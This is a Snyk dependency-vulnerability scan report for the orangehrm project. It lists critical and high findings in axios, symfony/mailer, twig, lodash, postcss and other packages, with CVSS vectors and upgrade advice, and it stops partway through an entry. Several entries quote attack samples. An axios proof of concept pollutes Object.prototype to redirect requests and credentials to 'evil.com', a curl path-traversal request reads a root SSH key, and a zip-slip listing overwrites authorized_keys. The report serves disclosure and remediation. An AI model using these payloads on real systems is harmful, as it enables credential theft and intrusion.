Snyk Test - Dependency Vulnerability Scan (SCA)

Target: orangehrm/orangehrm (main)
Project: orangehrm
Total Issues: 109 (Critical: 5 | High: 36 | Medium: 64 | Low: 4)

CRITICAL (5)

CRITICAL

HTTP Response Splitting

Package: **axios 1.13.1**

CVSS 9.1	CVE-2026-42035	CWE-113	SNYK-JS-AXIOS-16298058	Exploit: Proof of Concept

Fixed in 0.31.1, 1.15.1

Introduced through `orangehrm-installer@1.0.0 → axios@1.13.1`

Security information

Version	Score	Severity	Vector
CVSS 4.0	9.1	Critical	`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P`
CVSS 3.1	7.4	High	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N/E:P`
CVSS 3.1	7.4	High	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N`

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to HTTP Response Splitting via the isFormData and getHeaders handling in the HTTP request path. An attacker can inject arbitrary request headers by supplying a prototype-polluted object that is mistaken for FormData, causing getHeaders() output to be merged into an outgoing request.
This lets attacker-controlled values, such as authorization or custom headers, ride along with requests made by applications that pass untrusted objects into Axios, exposing credentials or altering server-side request handling.

Notes
- The gadget only matters when the request body is a non-FormData payload that Axios still routes through the Node HTTP adapter's form-data detection path; browser-side usage is not implicated by this code path.
- The advisory's prototype-pollution prerequisite can come from any dependency in the application's tree, not necessarily from Axios itself, so a separate merge/parser bug elsewhere can be enough to trigger the header injection.
Remediation
Upgrade axios to version 0.31.1, 1.15.1 or higher.
References
- GitHub Commit
- GitHub Commit
- Maintainer's Advisory

References

- GitHub Commit
- GitHub Commit
- Maintainer's Advisory

CRITICAL

Prototype Pollution

Package: **axios 1.13.1**

CVSS 9.1	CVE-2026-42264	CWE-1321	SNYK-JS-AXIOS-16417750	Exploit: Proof of Concept

Fixed in 1.15.2

Introduced through `orangehrm-installer@1.0.0 → axios@1.13.1`

Security information

Version	Score	Severity	Vector
CVSS 4.0	9.1	Critical	`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P`
CVSS 3.1	9.1	Critical	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N/E:P`
CVSS 3.1	9.1	Critical	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`
CVSS 3.1	7.4	High	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N`

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution when the Object.prototype has been polluted via a different exploit. The following properties in the HTTP adapter configuration may be manipulated, as they do not restrict their own property accesses with hasOwnProperty. An attacker can inject Authorization headers into the auth property, redirect external requests via the baseURL property or internal requests via the socketPath property, execute callbacks contained in HTTP redirects via the beforeRedirect property, or enable insecure HTTP parsing via the insecureHTTPParser property.

PoC

js

```
const axios = require('axios');

// Prototype pollution from a vulnerable dependency in the same process
Object.prototype.auth = { username: 'attacker', password: 'exfil' };
Object.prototype.baseURL = 'https://evil.com';

await axios.get('/api/users');
// Request is sent to: https://evil.com/api/users
// With header: Authorization: Basic YXR0YWNrZXI6ZXhmaWw=
// Attacker receives both the request and injected credentials
```

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as proto, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

- Unsafe Object recursive merge

- Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

foreach property of source

if property exists and is an object on both the target and the source

merge(target[property], source[property])

else

target[property] = source[property]

When the source object contains a property named proto defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to proto.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type	Origin	Short description
Denial of service (DoS)	Client	This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution	Client	Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection	Client	The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then a

References

- GitHub Advisory
- GitHub Commit

CRITICAL

Prototype Pollution

Package: **axios 1.13.1**

CVSS 9.1	CVE-2026-42033	CWE-1321	SNYK-JS-AXIOS-16299904	Exploit: Not Defined

Fixed in 0.31.1, 1.15.1

Introduced through `orangehrm-installer@1.0.0 → axios@1.13.1`

Security information

Version	Score	Severity	Vector
CVSS 4.0	9.1	Critical	`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N`
CVSS 3.1	7.4	High	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N`
CVSS 3.1	7.4	High	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N`

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution through the mergeConfig code path in the request configuration handling. An attacker can influence request behavior by supplying a crafted config object with inherited properties such as transport, env, formSerializer, or transform callbacks on Object.prototype, causing Axios to use attacker-controlled settings during request dispatch and form serialization. This can redirect requests, alter serialization and response handling, and break application logic that relies on trusted per-request configuration.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as proto, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

- Unsafe Object recursive merge

- Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

foreach property of source

if property exists and is an object on both the target and the source

merge(target[property], source[property])

else

target[property] = source[property]

When the source object contains a property named proto defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to proto.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type	Origin	Short description
Denial of service (DoS)	Client	This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution	Client	Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection	Client	The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

- Application server

- Web server

- Web browser

How to prevent

1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

4. Consider using objects without prototypes (for example, Object.create(null)), breaking th

References

- GitHub Commit
- GitHub Commit
- Maintainer's Advisory

CRITICAL

Arbitrary Argument Injection

Package: **symfony/mailer 5.4.45**

CVSS 9.2	CVE-2026-45068	CWE-88	SNYK-PHP-SYMFONYMAILER-16873898	Exploit: Not Defined

Fixed in 5.4.52, 6.4.40, 7.4.12, 8.0.12

Introduced through `orangehrm/orangehrm@0.0.0 → symfony/mailer@5.4.45`

Security information

Version	Score	Severity	Vector
CVSS 4.0	9.2	Critical	`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N`
CVSS 3.1	8.1	High	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H`
CVSS 3.1	7.5	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N`

Overview

Affected versions of this package are vulnerable to Arbitrary Argument Injection via recipient handling in SendmailTransport when using sendmail -t mode. An attacker can inject arbitrary sendmail command-line options by supplying a recipient address beginning with -, as recipient addresses are appended to the sendmail command without a -- end-of-options separator.
Remediation
Upgrade symfony/mailer to version 5.4.52, 6.4.40, 7.4.12, 8.0.12 or higher.
References
- GitHub Commit
- GitHub Release
- Symfony Advisory

References

- GitHub Commit
- GitHub Release
- Symfony Advisory

CRITICAL

Arbitrary Code Injection

Package: **twig/twig 3.11.3**

CVSS 9.2	CVE-2026-46633	CWE-94	SNYK-PHP-TWIGTWIG-16776788	Exploit: Not Defined

Fixed in 3.26.0

Introduced through `orangehrm/orangehrm@0.0.0 → twig/twig@3.11.3`

Security information

Version	Score	Severity	Vector
CVSS 4.0	9.2	Critical	`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N`
CVSS 3.1	9.8	Critical	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
CVSS 3.1	9.8	Critical	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`

Overview

twig/twig is a flexible, fast, and secure template language for PHP.

Affected versions of this package are vulnerable to Arbitrary Code Injection via template name handling in the {% use %} tag compilation path. An attacker can execute arbitrary PHP code by supplying a crafted template name containing a single quote, which breaks out of the generated PHP string literal in the compiled cache file. This allows code injection during template compilation and bypasses Twig sandbox restrictions, since {% use %} is allowed regardless of the configured sandbox policy.
Remediation
Upgrade twig/twig to version 3.26.0 or higher.
References
- GitHub Commit
- Symfony Advisory

References

• GitHub Commit
• Symfony Advisory

HIGH (36)

HIGH

Improper Validation of Specified Quantity in Input

Package: **axios 1.13.1**

CVSS 8.2	CVE-2026-101901	CWE-1284	SNYK-JS-AXIOS-20245046	Exploit: Proof of Concept

Fixed in 1.20.0

Introduced through `orangehrm-installer@1.0.0 → axios@1.13.1`

Security information

Version	Score	Severity	Vector
CVSS 4.0	8.2	High	`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P`
CVSS 3.1	5.9	Medium	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P`
CVSS 3.1	7.5	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Improper Validation of Specified Quantity in Input via unsafe runtime option handling in the fetch and HTTP adapters, where user-supplied fetchOptions are merged into the resolved request options without sanitization or allowlist enforcement. An attacker who can influence request configuration can supply option values that override Axios-owned fields (such as signal, method, headers, or body) or inject unexpected fetch option keys, causing the request pipeline to crash and producing a denial of service.
Remediation
Upgrade axios to version 1.20.0 or higher.
References
- GitHub Commit
- GitHub PR
- Maintainer's Advisory

References

- GitHub Commit
- GitHub PR
- Maintainer's Advisory

HIGH

Infinite loop

Package: **nanoid 3.3.7**

CVSS 8.2	CVE-2026-67213	CWE-835	SNYK-JS-NANOID-18506897	Exploit: Not Defined

Fixed in 3.3.17, 5.1.6

Introduced through `orangehrm-installer@1.0.0 → vue@3.4.19 → @vue/compiler-sfc@3.4.19 → postcss@8.4.35 → nanoid@3.3.7`

Security information

Version	Score	Severity	Vector
CVSS 4.0	8.2	High	`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`
CVSS 3.1	7.5	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
CVSS 3.1	7.5	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
CVSS 3.1	7.5	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`

Overview

Affected versions of this package are vulnerable to Infinite loop through the customRandom function in the customRandom implementation. An attacker can hang the calling thread by supplying a size of 0 to customRandom, which causes its ID generation loop to never reach a terminating condition. This breaks any application path that accepts an unvalidated, attacker-controlled size and passes it into customRandom, leaving the process stuck while handling the request.
Remediation
Upgrade nanoid to version 3.3.17, 5.1.6 or higher.
References
- GitHub Commit

References

- GitHub Commit

HIGH

HTTP Response Splitting

Package: **axios 1.13.1**

CVSS 7	CVE-2026-40175	CWE-113	SNYK-JS-AXIOS-15969258	Exploit: Not Defined

Fixed in 0.31.0, 1.15.0

Introduced through `orangehrm-installer@1.0.0 → axios@1.13.1`

Security information

Version	Score	Severity	Vector
CVSS 4.0	7	High	`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:H/SI:H/SA:L`
CVSS 3.1	8.9	High	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L`
CVSS 3.1	4.8	Medium	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N`
CVSS 3.1	8.1	High	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H`

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to HTTP Response Splitting via the parseTokens header processing path in lib/core/AxiosHeaders.js. An attacker can smuggle HTTP requests or inject arbitrary headers by supplying a header value containing \r\n, which Axios merges into an outbound request. Under specific conditions, this can be used to exfiltrate cloud metadata tokens, pivot into internal services, or poison downstream HTTP traffic.

Notes

- Exploitation requires prior successful prototype pollution in a third-party dependency, enabling attacker-controlled header data to flow into Axios via configuration merging or AxiosHeaders.set(...).
- IMDSv2 token exfiltration (described in the original vulnerability report as another step in the exploit chain following the smuggling of a PUT request) further depends on the application running in an AWS environment with instance metadata access enabled, and on the Axios process having network access to the metadata endpoint.
- A possible but uncommon vector mentioned in the maintainers' advisory relies on the use of a non standard Axios transport mechanism, e.g. a custom adapter, to bypass Node.js header validation, thereby permitting malformed or injected header values to be transmitted without rejection. In most cases, this vector is blocked by Node.JS's built in header validation.

Remediation

Upgrade axios to version 0.31.0, 1.15.0 or higher.

References

- GitHub Commit
- GitHub Commit (v1 backport)
- GitHub PR
- GitHub Release
- Maintainer's Advisory

References

- GitHub Commit
- GitHub Commit (v1 backport)
- GitHub PR
- GitHub Release
- Maintainer's Advisory

HIGH

Improper Removal of Sensitive Information Before Storage or Transfer

Package: **follow-redirects 1.15.11**

CVSS 7.7	CVE-2026-40895	CWE-212	SNYK-JS-FOLLOWREDIRECTS-16032162	Exploit: Not Defined

Fixed in 1.16.0

Introduced through `orangehrm-installer@1.0.0 → axios@1.13.1 → follow-redirects@1.15.11`

Security information

Version	Score	Severity	Vector
CVSS 4.0	7.7	High	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N`
CVSS 3.1	7.5	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`
CVSS 3.1	7.5	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`
CVSS 3.1	7.5	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`

Overview

Affected versions of this package are vulnerable to Improper Removal of Sensitive Information Before Storage or Transfer in the cross-domain redirects that do not strip custom authentication headers (such as X-API-Key, X-Auth-Token, Api-Key, Token). An attacker can obtain sensitive authentication headers by triggering a cross-domain redirect that causes custom authentication headers to be forwarded to an attacker-controlled domain.

Remediation

Upgrade follow-redirects to version 1.16.0 or higher.

References

- GitHub Advisory
- GitHub Commit

References

- GitHub Advisory
- GitHub Commit

HIGH

Allocation of Resources Without Limits or Throttling

Package: **axios 1.13.1**

CVSS 8.2	CVE-2026-39865	CWE-770	SNYK-JS-AXIOS-15930944	Exploit: Proof of Concept

Fixed in 1.13.2

Introduced through `orangehrm-installer@1.0.0 → axios@1.13.1`

Security information

Version	Score	Severity	Vector
CVSS 4.0	8.2	High	`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P`
CVSS 3.1	5.9	Medium	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P`
CVSS 3.1	5.9	Medium	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H`

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the Http2Sessions.getSession() function in the HTTP/2 session cleanup. An attacker can cause the client process to crash by establishing multiple concurrent HTTP/2 sessions and then closing all sessions simultaneously from a malicious server.
Remediation
Upgrade axios to version 1.13.2 or higher.
References
- GitHub Advisory
- GitHub Commit
- GitHub Release

References

- GitHub Advisory
- GitHub Commit
- GitHub Release

HIGH

Prototype Pollution

Package: **axios 1.13.1**

CVSS 7	CVE-2026-44494	CWE-1321, CWE-441	SNYK-JS-AXIOS-17111079	Exploit: Not Defined

Fixed in 0.32.0, 1.16.0

Introduced through `orangehrm-installer@1.0.0 → axios@1.13.1`

Security information

Version	Score	Severity	Vector
CVSS 4.0	7	High	`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:H/SI:H/SA:L`
CVSS 3.1	8.9	High	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L`
CVSS 3.1	8.7	High	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N`

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution through the config.proxy property in the HTTP adapter, which accesses properties via the prototype chain. An attacker can intercept and modify all HTTP requests and responses, including sensitive authentication credentials, by polluting the Object.prototype with a malicious proxy object. This allows the attacker to route all HTTP traffic through a proxy server under their control, enabling full visibility and manipulation of data in transit.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as proto, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

- Unsafe Object recursive merge

- Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

foreach property of source

if property exists and is an object on both the target and the source

merge(target[property], source[property])

else

target[property] = source[property]

When the source object contains a property named proto defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to proto.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type	Origin	Short description
Denial of service (DoS)	Client	This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution	Client	Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection	Client	The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

- Application server

- Web server
- Web browser

How to prevent

1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

5. As a best pract

References

- GitHub Commit
- GitHub Commit
- Maintainer's Advisory

HIGH

Improper Validation of Specified Quantity in Input

Package: **axios 1.13.1**

CVSS 8.2	CVE-2026-101901	CWE-1284	SNYK-JS-AXIOS-20245044	Exploit: Proof of Concept

Fixed in 1.20.0

Introduced through `orangehrm-installer@1.0.0 → axios@1.13.1`

Security information

Version	Score	Severity	Vector
CVSS 4.0	8.2	High	`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P`
CVSS 3.1	5.9	Medium	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P`
CVSS 3.1	7.5	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Improper Validation of Specified Quantity in Input via unsafe runtime option handling in the fetch and HTTP adapters, where user-supplied fetchOptions are merged into the resolved request options without sanitization or allowlist enforcement. An attacker who can influence request configuration can supply option values that override Axios-owned fields (such as signal, method, headers, or body) or inject unexpected fetch option keys, causing the request pipeline to crash and producing a denial of service.

Remediation

Upgrade axios to version 1.20.0 or higher.

References

- GitHub Commit
- GitHub PR
- Maintainer's Advisory

References

- GitHub Commit
- GitHub PR
- Maintainer's Advisory

HIGH

Arbitrary Code Injection

Package: **lodash 4.17.21**

CVSS 8.6	CVE-2026-4800	CWE-94	SNYK-JS-LODASH-15869625	Exploit: Not Defined

Fixed in 4.18.1

Introduced through `orangehrm-installer@1.0.0 → @ohrm/oxd@2.0.2 → @revolist/vue3-datagrid@3.2.17 → @revolist/revogrid@3.3.0 → lodash@4.17.21`

Security information

Version	Score	Severity	Vector
CVSS 4.0	8.6	High	`CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N`
CVSS 3.1	7.2	High	`CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H`
CVSS 3.1	9.8	Critical	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
CVSS 3.1	8.1	High	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H`

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Arbitrary Code Injection due the improper validation of options.imports key names in .template. An attacker can execute arbitrary code at template compilation time by injecting malicious expressions. If Object.prototype has been polluted, inherited properties may also be copied into the imports object and executed.

Notes:

1) Version 4.18.0 was intended to fix this vulnerability but it got deprecated due to introducing a breaking functionality issue.

2) This issue is due to the incomplete fix for CVE-2021-23337.

Remediation

Upgrade lodash to version 4.18.1 or higher.

References

- GitHub Advisory
- GitHub Commit
- GitHub Issue
- OpenJS Security Advisory

References

- GitHub Advisory
- GitHub Commit
- GitHub Issue
- OpenJS Security Advisory

HIGH

Directory Traversal

Package: **postcss 8.4.35**

CVSS 8.7	CVE-2026-73646	CWE-22	SNYK-JS-POSTCSS-18313038	Exploit: Not Defined

Fixed in 8.5.18

Introduced through `orangehrm-installer@1.0.0 → vue@3.4.19 → @vue/compiler-sfc@3.4.19 → postcss@8.4.35`

Security information

Version	Score	Severity	Vector
CVSS 4.0	8.7	High	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`
CVSS 3.1	7.5	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`
CVSS 3.1	7.5	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`

Overview

postcss is a PostCSS is a tool for transforming styles with JS plugins.

Affected versions of this package are vulnerable to Directory Traversal via the loadMap process. An attacker can access the contents of arbitrary .map files on the filesystem by submitting crafted CSS containing a sourceMappingURL comment with a path traversal or absolute path, which is then loaded and its content merged into the resulting source map returned by the process.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/idrsa

Note %2e is the URL encoded version of . (dot).

- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorizedkeys file:

2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../root/.ssh/authorizedkeys

Remediation

Upgrade postcss to version 8.5.18 or higher.

References

- GitHub Advisory
- GitHub Commit
- GitHub Release

References

- GitHub Advisory
- GitHub Commit
- GitHub Release

HIGH

Prototype Pollution

Package: **axios 1.13.1**

CVSS 8.7	CVE-2026-25639	CWE-1321	SNYK-JS-AXIOS-15252993	Exploit: Proof of Concept

Fixed in 0.30.3, 1.13.5

Introduced through `orangehrm-installer@1.0.0 → axios@1.13.1`

Security information

Version	Score	Severity	Vector
CVSS 4.0	8.7	High	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P`
CVSS 3.1	7.5	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P`
CVSS 3.1	7.5	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution via the mergeConfig function. An attacker can cause the application to crash by supplying a malicious configuration object containing a proto property, typically by leveraging JSON.parse().
PoC
js
import axios from "axios";

const maliciousConfig = JSON.parse('{"proto": {"x": 1}}');
await axios.get("https://domain/get", maliciousConfig);

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as proto, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:
